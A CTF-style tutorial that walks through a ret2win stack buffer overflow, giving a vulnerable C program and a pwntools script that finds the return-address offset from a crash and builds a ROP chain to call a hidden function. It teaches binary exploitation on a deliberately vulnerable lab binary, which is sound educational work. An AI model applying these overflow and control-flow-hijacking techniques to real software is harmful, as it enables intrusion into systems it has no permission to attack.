Overview

Here’s a full structured explanation of the ret2win ROP chain attack using the modified template. This breakdown shows how the exploit works, why each step is necessary, and how it applies to solving ret2win-style challenges.


Ret2win Exploit (ROP Chain Attack)

This script demonstrates a return-to-function attack using Return Oriented Programming (ROP). The target binary (ret2win) contains a hidden function (hacked() or ret2win()) that prints the flag. The vulnerability is a classic stack buffer overflow, allowing us to overwrite the return address and redirect execution.


Target Binary Source Code

#include <stdio.h>
 
void hacked()
{
    printf("This function is TOP SECRET! How did you get in here?! :O\n");
}
 
void register_name()
{
    char buffer[16];
 
    printf("Name:\n");
    scanf("%s", buffer);
    printf("Hi there, %s\n", buffer);
}
 
int main()
{
    register_name();
 
    return 0;
}

Imports

from pwn import *
  • Loads pwntools, providing process control, payload building, ROP automation, and ELF inspection.

Binary Context

exe = './ret2win'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
  • Target binary: ret2win.
  • Loads binary into an ELF object for symbol resolution.
  • Skips checksec to speed loading.
  • Enables debug-level logging for detailed trace output.

Step 1: Triggering the Crash

io = start()
payload = cyclic(50)
io.sendlineafter(b'Name:', payload)
io.wait()
  • Starts the binary.
  • Sends a cyclic pattern of 50 bytes as input to overflow the buffer.
  • Program crashes, generating a core dump.

Step 2: Locating the Offset

core = io.corefile
eip_value = core.eip
eip_offset = cyclic_find(eip_value)
info('located EIP offset at {a}'.format(a=eip_offset))
  • Loads crash corefile.
  • Reads the value of EIP (instruction pointer) at the time of crash.
  • Uses cyclic_find to calculate the exact offset where buffer overwrote EIP.
  • This offset indicates where to insert the ROP chain.

Step 3: Building the ROP Chain

rop = ROP(elf)
rop.hacked()
print(rop.dump())
rop_chain = rop.chain()
  • Creates a ROP object using the ELF file.
  • Appends a call to the hidden function hacked() (the challenge’s ret2win function).
  • rop.dump() displays the gadgets and function calls.
  • rop.chain() outputs raw bytes for use in payload.

Step 4: Crafting the Exploit Payload

payload = flat({
    eip_offset: rop_chain
})
write('payload', payload)
  • Builds a payload with:
    • Filler bytes up to the EIP offset.
    • ROP chain inserted at the overwrite location.
  • Saves the payload to a file for reference or reuse.

Step 5: Exploitation

io = start()
io.sendlineafter(b'Name:', payload)
io.interactive()
  • Starts a fresh process of the vulnerable binary.
  • Sends the crafted payload, overwriting the return address with the ROP chain.
  • Execution flow redirects to the hacked() function.
  • Drops into an interactive shell to capture the printed flag.

Key Takeaways

  1. Classic ret2win attack: Exploit relies on redirecting control flow to an existing function that prints the flag.
  2. Automated offset discovery: Uses cyclic patterns and corefile inspection to locate the EIP overwrite position.
  3. ROP object simplicity: Pwntools automatically resolves function addresses and builds the chain, avoiding manual gadget hunting.
  4. Reusable structure: Modular process launching and payload construction make it adaptable for local, GDB, and remote execution.
  5. Real-world relevance: Demonstrates fundamentals of buffer overflows and control-flow hijacking, essential in binary exploitation.

This script is an introductory ROP exploitation pattern, often the first challenge in CTF-style pwn categories. It lays the foundation for more advanced techniques like ret2libc and full ROP chains with system calls.

Resources